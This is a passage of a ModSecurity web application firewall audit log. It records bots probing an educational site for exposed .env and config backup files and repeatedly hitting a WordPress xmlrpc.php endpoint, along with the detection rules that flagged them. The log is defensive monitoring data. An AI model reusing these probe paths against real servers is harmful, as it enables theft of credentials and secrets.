secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3a108a2e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/fisdom/fisdom/.env"] [unique_id "aE9ajlu-mTBjBTNx-ySJtgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030990798083 689128 (- - -) Stopwatch2: 1750030990798083 689128; combined=2149, p1=377, p2=1666, p3=0, p4=0, p5=105, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a108a2e-Z-- --8ad4f04a-A-- [16/Jun/2025:05:13:12.248287 +0530] aE9aj6pdvXW4_hknQUUvTQAAAAo 128.199.112.101 44130 127.0.0.1 7081 --8ad4f04a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8ad4f04a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8ad4f04a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9aj6pdvXW4_hknQUUvTQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030991251319 997022 (- - -) Stopwatch2: 1750030991251319 997022; combined=2405, p1=414, p2=1558, p3=49, p4=66, p5=198, sr=126, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8ad4f04a-Z-- --ac58eb66-A-- [16/Jun/2025:05:14:12.657384 +0530] aE9ay0oyC4_VyyL7sS6QSQAAAAI 128.199.112.101 45738 127.0.0.1 7081 --ac58eb66-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ac58eb66-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ac58eb66-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9ay0oyC4_VyyL7sS6QSQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031051703621 953816 (- - -) Stopwatch2: 1750031051703621 953816; combined=2566, p1=397, p2=1830, p3=27, p4=52, p5=162, sr=123, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ac58eb66-Z-- --c8920832-A-- [16/Jun/2025:05:14:32.797688 +0530] aE9a4OJpWMTxMA3Q4FXtDgAAAAU 185.177.72.210 58562 127.0.0.1 7081 --c8920832-B-- GET /:8000/.env.back HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8920832-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dff9c0e14bd7cdd542103e291ef828d31750031072; expires=Mon, 16 Jun 2025 00:44:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8920832-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.back"] [unique_id "aE9a4OJpWMTxMA3Q4FXtDgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031072124745 673024 (- - -) Stopwatch2: 1750031072124745 673024; combined=2001, p1=388, p2=1489, p3=0, p4=0, p5=124, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8920832-Z-- --8fde4c7a-A-- [16/Jun/2025:05:14:37.196728 +0530] aE9a5LV9qKUox3X8g1YrqwAAAAg 185.177.72.210 58822 127.0.0.1 7081 --8fde4c7a-B-- GET /config/AppData.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8fde4c7a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dc0c4227d2aed387e691bc847ce7cf4a1750031077; expires=Mon, 16 Jun 2025 00:44:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8fde4c7a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config/AppData.config"] [unique_id "aE9a5LV9qKUox3X8g1YrqwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031076528286 668529 (- - -) Stopwatch2: 1750031076528286 668529; combined=2070, p1=325, p2=1617, p3=0, p4=0, p5=128, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8fde4c7a-Z-- --534b9b00-A-- [16/Jun/2025:05:15:12.225672 +0530] aE9bB6pdvXW4_hknQUUvkwAAAAo 128.199.112.101 54468 127.0.0.1 7081 --534b9b00-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --534b9b00-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --534b9b00-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9bB6pdvXW4_hknQUUvkwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031111288780 936957 (- - -) Stopwatch2: 1750031111288780 936957; combined=2115, p1=308, p2=1427, p3=42, p4=65, p5=169, sr=85, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --534b9b00-Z-- --9d64d44d-A-- [16/Jun/2025:05:15:45.370456 +0530] aE9bKEoyC4_VyyL7sS6QfgAAAAI 185.177.72.210 58300 127.0.0.1 7081 --9d64d44d-B-- GET /:8181/.env.back HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9d64d44d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2c772a61f95917d767bb991067c6acfc1750031145; expires=Mon, 16 Jun 2025 00:45:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9d64d44d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.back"] [unique_id "aE9bKEoyC4_VyyL7sS6QfgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031144709495 661037 (- - -) Stopwatch2: 1750031144709495 661037; combined=1959, p1=414, p2=1441, p3=0, p4=0, p5=103, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9d64d44d-Z-- --e1dc1271-A-- [16/Jun/2025:05:15:51.399439 +0530] aE9bLuJpWMTxMA3Q4FXtPAAAAAU 185.177.72.210 54362 127.0.0.1 7081 --e1dc1271-B-- GET /:10000/.env~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e1dc1271-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=be081051d76a887c46729b37c0785fc61750031151; expires=Mon, 16 Jun 2025 00:45:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e1dc1271-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env~"] [unique_id "aE9bLuJpWMTxMA3Q4FXtPAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031150719551 679961 (- - -) Stopwatch2: 1750031150719551 679961; combined=1890, p1=362, p2=1425, p3=0, p4=0, p5=102, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e1dc1271-Z-- --a4b63152-A-- [16/Jun/2025:05:15:52.384834 +0530] aE9bL5bumDYPKpRD2eku2AAAAAA 185.177.72.210 54408 127.0.0.1 7081 --a4b63152-B-- GET /:5000/.env.suspected HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a4b63152-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f5b19301418510eafe2f005d0c995eed1750031152; expires=Mon, 16 Jun 2025 00:45:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a4b63152-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.suspected"] [unique_id "aE9bL5bumDYPKpRD2eku2AAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031151716690 668206 (- - -) Stopwatch2: 1750031151716690 668206; combined=2583, p1=493, p2=1985, p3=0, p4=0, p5=105, sr=116, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a4b63152-Z-- --4bdd0c10-A-- [16/Jun/2025:05:15:53.371261 +0530] aE9bMFxTdrwJSUMoZvG5qAAAAAc 185.177.72.210 54442 127.0.0.1 7081 --4bdd0c10-B-- GET /:8443/sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4bdd0c10-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=06643489b11626128c7e533882fa57b91750031153; expires=Mon, 16 Jun 2025 00:45:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4bdd0c10-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/sicherung/.env"] [unique_id "aE9bMFxTdrwJSUMoZvG5qAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031152701965 669371 (- - -) Stopwatch2: 1750031152701965 669371; combined=1966, p1=403, p2=1463, p3=0, p4=0, p5=100, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4bdd0c10-Z-- --b6cdd972-A-- [16/Jun/2025:05:16:06.746908 +0530] aE9bPlxTdrwJSUMoZvG5rgAAAAc 185.177.72.210 58468 127.0.0.1 7081 --b6cdd972-B-- GET /:9000/.env.back HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b6cdd972-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=728728cfbbfbbcfc75bac5a368732e491750031166; expires=Mon, 16 Jun 2025 00:46:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b6cdd972-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.back"] [unique_id "aE9bPlxTdrwJSUMoZvG5rgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031166081148 665824 (- - -) Stopwatch2: 1750031166081148 665824; combined=1874, p1=477, p2=1296, p3=0, p4=0, p5=100, sr=120, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b6cdd972-Z-- --fbc91846-A-- [16/Jun/2025:05:16:07.742394 +0530] aE9bP387s8ehggCfEua0fwAAAAQ 185.177.72.210 58530 127.0.0.1 7081 --fbc91846-B-- GET /bak/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fbc91846-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e8f439be55e2b3b39a6c10b67ace57391750031167; expires=Mon, 16 Jun 2025 00:46:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fbc91846-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/bak/.env.example"] [unique_id "aE9bP387s8ehggCfEua0fwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031167063903 678589 (- - -) Stopwatch2: 1750031167063903 678589; combined=2164, p1=455, p2=1582, p3=0, p4=0, p5=126, sr=132, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fbc91846-Z-- --c751e44b-A-- [16/Jun/2025:05:16:08.711877 +0530] aE9bQGM0Xdzjsxbr1PzwBgAAAAY 185.177.72.210 58606 127.0.0.1 7081 --c751e44b-B-- GET /:8000/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c751e44b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d166fffc82c5e7746e37e71f37a6158d1750031168; expires=Mon, 16 Jun 2025 00:46:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c751e44b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/app/.env"] [unique_id "aE9bQGM0Xdzjsxbr1PzwBgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031168059931 652037 (- - -) Stopwatch2: 1750031168059931 652037; combined=2496, p1=527, p2=1842, p3=0, p4=0, p5=127, sr=121, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c751e44b-Z-- --d20d1a70-A-- [16/Jun/2025:05:16:11.918909 +0530] aE9bQ1u-mTBjBTNx-ySKGQAAAAk 185.177.72.210 47384 127.0.0.1 7081 --d20d1a70-B-- GET /default/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d20d1a70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d35aeae4cc932ca0d25f83e9f1fbdfa1750031171; expires=Mon, 16 Jun 2025 00:46:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d20d1a70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/default/.env"] [unique_id "aE9bQ1u-mTBjBTNx-ySKGQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750031171264052 654934 (- - -) Stopwatch2: 1750031171264052 654934; combined=1639, p1=399, p2=1133, p3=0, p4=0, p5=106, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d20d1a70-Z-- --10cd8648-A-- [16/Jun/2025:05:16:12.824066 +0530] 